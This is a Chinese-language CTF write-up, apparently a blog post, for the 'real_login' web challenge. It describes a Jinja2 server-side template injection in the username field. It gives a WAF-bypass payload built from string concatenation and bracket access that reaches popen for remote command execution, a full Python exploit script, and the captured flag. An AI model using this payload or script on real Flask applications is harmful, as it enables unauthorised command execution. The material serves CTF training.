496 字
1 分钟
CTF Web - 好靶场real_login
CTF Web - 好靶场real_login
##声明: 此wp使用skill制作
题目总结
本题是一个带有注册和登录系统的 Flask/Jinja2 Web 应用程序。username(用户名)字段在注册后,会在登录成功的 Dashboard(仪表盘)页面上原样反射,存在服务器端模板注入(SSTI)漏洞。系统部署了非常严格的 WAF,拦截了 . (点)、_ (部分上下文的下划线) 以及众多关键内置词(如 class、subclasses、os、popen、flag 等)。核心解法是利用中括号字典访问法和 Jinja2 的 ~ 字符串拼接来绕过过滤并实现 RCE(远程命令执行)。
解题步骤
第一步:确认漏洞与探测 WAF 规则
使用 {{7*'7'}} 作为用户名注册并登录,在仪表盘上成功回显 7777777,确认存在 Jinja2 SSTI 漏洞。
通过 Fuzz 探测发现,以下字符和关键字被 WAF 直接拦截(返回 “WAF Alert”):
- 字符:
. - 关键字:
class,subclasses,mro,init,globals,builtins - 关键字:
import,os,system,popen,eval,request - 关键字:
flag
第二步:构造 WAF 绕过与 RCE Payload
为了绕过上述限制,我们采用以下策略:
- 点号绕过:使用
['']字典/属性访问代替.。 - 关键字绕过:利用 Jinja2 的
~运算符拼接字符串,如将'__class__'拆分为'__cla'~'ss__'。 - 敏感文件绕过:使用通配符
*(如fl*)来代替完整的flag单词。
我们构造的最终 Payload 如下,它利用内置类列表找到 os._wrap_close (本环境中索引为 132) 并调用其 __init__ 下的全局变量中的 popen 函数执行系统命令:
{{''['__cla'~'ss__']['__mro__'][1]['__subcla'~'sses__']()[132]['__in'~'it__']['__glob'~'als__']['po'~'pen']('cat /tmp/fl*')['read']()}}第三步:编写自动化利用脚本
以下 Python 脚本自动处理了每次注册需要唯一用户名的问题,并在完成注册、登录后自动获取回显的命令执行结果。
import requestsimport uuid
def exploit(cmd): url = "http://7mvhtth.haobachang2.loveli.com.cn:8888" session = requests.Session()
# 生成随机 UID,确保每次注册的用户名都是唯一的 uid = uuid.uuid4().hex[:8]
# 构造 SSTI Payload,通过字符串拼接绕过 WAF 过滤 payload = f"{{{{''['__cla'~'ss__']['__mro__'][1]['__subcla'~'sses__']()[132]['__in'~'it__']['__glob'~'als__']['po'~'pen']('{cmd}')['read']()}}}}" username = f"{payload}{{# {uid} #}}" password = "password123"
# 1. 注册 res = session.post(f"{url}/register", data={"username": username, "password": password}) if "WAF Alert" in res.text: print("WAF Alert!") return
# 2. 登录 session.post(f"{url}/login", data={"username": username, "password": password})
# 3. 访问 Dashboard 触发 SSTI res = session.get(f"{url}/dashboard") if "Welcome back, " in res.text: # 从页面回显中提取出执行结果 result = res.text.split("Welcome back, ")[1].split("!")[0] print(f"Result for {cmd}:\n{result}")
# 执行 payload 读取 /tmp/ 下的 flagexploit("cat /tmp/fl*")Flag
flag{393396154d3c4312bde3b98d2873895d} 分享
如果这篇文章对你有帮助,欢迎分享给更多人!
CTF Web - 好靶场real_login
http://blog.azkanna.cn/posts/real_login_wp/ 部分信息可能已经过时
相关文章 智能推荐










